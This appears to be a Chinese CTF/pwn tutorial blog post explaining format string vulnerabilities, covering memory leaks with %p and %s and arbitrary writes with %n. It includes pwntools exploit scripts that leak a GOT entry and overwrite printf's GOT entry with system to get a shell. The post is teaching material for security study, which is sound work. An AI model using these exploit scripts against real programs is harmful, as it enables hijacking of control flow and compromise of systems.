2 Days -- 格式化字符串漏洞
网络安全 pwn 4

从任意读到任意写

在二进制安全中,格式化字符串漏洞(Format String Bug)是一种非常经典且强大的漏洞。它不仅可以用来泄露内存(如 Canary、Libc 地址),甚至可以实现任意地址写入,从而劫持程序控制流。

核心成因

漏洞通常出现在程序员错误地使用了格式化输出函数(如 printf, sprintf, fprintf 等)。

  • 安全写法printf("%s", buf); —— 明确指定了格式为字符串。

  • 漏洞写法printf(buf); —— 直接将用户输入作为格式化字符串。

当用户输入包含格式化占位符(如 %p, %x, %n)时,printf 会将其解析为指令,从而操作栈上的数据。

栈布局视角

printf 函数在调用时,认为栈上的数据就是它需要的参数。

  • 如果我们输入 %p%p%pprintf 就会依次打印栈上紧随其后的 3 个值。

  • 如果我们可以控制输入字符串在栈上的位置,我们就能通过 %<k>$p(访问第 k 个参数)来访问栈上的任意数据。


2. 任意地址读 (Arbitrary Read)

目标:泄露栈上的敏感数据(如 Canary、基地址),或者读取指定内存地址的内容。

  • 泄露栈数据:使用 %p%x

    • %p:打印指针大小的十六进制数。

    • %<offset>$p:直接打印第 offset 个参数的值。

  • 读取任意地址内容:使用 %s

    • %s 会将对应的参数视为指针,并打印该指针指向的字符串,直到遇到 \x00

    • 利用逻辑:如果在栈上第 k 个位置写入了某个特定地址(如 GOT 表地址),然后使用 %k$sprintf 就会去读取该地址处的内容。

通用利用脚本

场景:泄露 printf 的 GOT 表内容(即 printf 的真实地址)。

Python

from pwn import *

# io = process('./pwn')
elf = ELF('./pwn')
printf_got = elf.got['printf']

# 假设通过调试测得:输入的数据位于 printf 参数的第 6 个位置(offset = 6)
offset = 6

# 构造 payload:
# 1. 前 4 字节放入目标地址 (32位)
# 2. 使用 %6$s 读取该地址指向的内容
payload = p32(printf_got) + b'%6$s'

# io.sendline(payload)
# io.recv(4) # 接收前4字节的垃圾数据
# addr = u32(io.recv(4)) # 接收泄露的地址

3. 任意地址写 (Arbitrary Write)

目标:修改内存中的变量值,或者修改 GOT 表条目指向 shellcode/system。

核心武器:%n

  • %n 是一个特殊的占位符,它不输出内容,而是将当前已成功打印的字符个数写入到对应的参数所指向的内存地址中。

  • 变体

    • %n:写入 4 字节(32位)或 8 字节(64位)。

    • %hn:写入 2 字节(覆盖低 2 字节)。

    • %hhn:写入 1 字节(覆盖低 1 字节,逐字节修改首选)。

利用逻辑: 如果我们想在地址 Addr 处写入数值 100

  1. 构造 Payload 让 printf 先输出 100 个字符(可以利用 %100c 进行填充)。

  2. 在 Payload 适当位置放入 Addr

  3. 使用 %k$nprintf 将计数(100)写入第 k 个参数指向的地址(即 Addr)。

通用利用脚本

手动构造 %n 的 payload 涉及复杂的填充计算,极其繁琐。pwntools 提供了强大的自动化工具 fmtstr_payload

Python

from pwn import *

# io = process('./pwn')
elf = ELF('./pwn')

# 1. 确定 Offset(输入数据在栈上的偏移)
# 可以手动测,也可以用 FmtStr 自动测
def exec_fmt(payload):
    p = process('./pwn')
    p.sendline(payload)
    return p.recvall()

# auto_fmt = FmtStr(exec_fmt)
# offset = auto_fmt.offset
offset = 6 # 假设测得偏移为 6

# 2. 确定写入目标与数值
# 场景:将 printf_got 修改为 system_addr
printf_got = elf.got['printf']
system_addr = 0x08048320 # 假设已知

# 3. 自动生成 Payload
# fmtstr_payload(offset, {target_addr: value})
payload = fmtstr_payload(offset, {printf_got: system_addr})

# io.sendline(payload)
# 之后调用 printf("/bin/sh") 实际上就是调用 system("/bin/sh")

2 Days -- 格式化字符串漏洞
https://www.kiki1e.top/archives/2-days----ge-shi-hua-zi-fu-chuan-lou-dong
作者
kiki1e
发布于
更新于
许可